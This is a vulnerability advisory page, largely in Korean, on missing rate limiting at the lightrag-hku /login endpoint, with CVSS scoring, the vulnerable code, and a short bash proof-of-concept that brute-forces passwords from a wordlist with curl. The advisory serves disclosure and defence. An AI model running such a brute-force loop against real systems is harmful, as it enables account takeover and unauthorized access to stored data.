lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
위협 신호 · CVSS · EPSS · KEV
시급 검토· 이론 심각도 Critical
CVSS
9.1critical
이론적 심각도 점수
EPSS
—예측 데이터 없음
KEV
미등재실측 악용 기록 없음
권장 대응 기한14일 이내CISA SSVC 기준
2주 이내 패치 — 우선 조치 대상
자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출
CVSS 벡터 · 메트릭
악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.19.1CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N상세 설명
Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
bash
1# lightrag/api/lightrag_server.py:2161 2@app.post("/login") 3async def login(form_data: OAuth2PasswordRequestForm = Depends()): 4 if not auth_handler.verify_password(username, form_data.password): 5 raise HTTPException(status_code=401, detail="Incorrect credentials") 6 # No: rate limit / lockout / backoff / CAPTCHA / attempt counterA search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
bash
1# Brute-force /login with a wordlist, no throttling 2while IFS= read -r pass; do 3 code=$(curl -s -o /dev/null -w "%{http_code}" \ 4 -X POST http://<TARGET>:9621/login \ 5 -d "username=admin&password=${pass}") 6 [ "$code" = "200" ] && echo "[FOUND] $pass" && break 7done < /usr/share/wordlists/rockyou.txtImpact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 6
링크 내용 불러오는 중…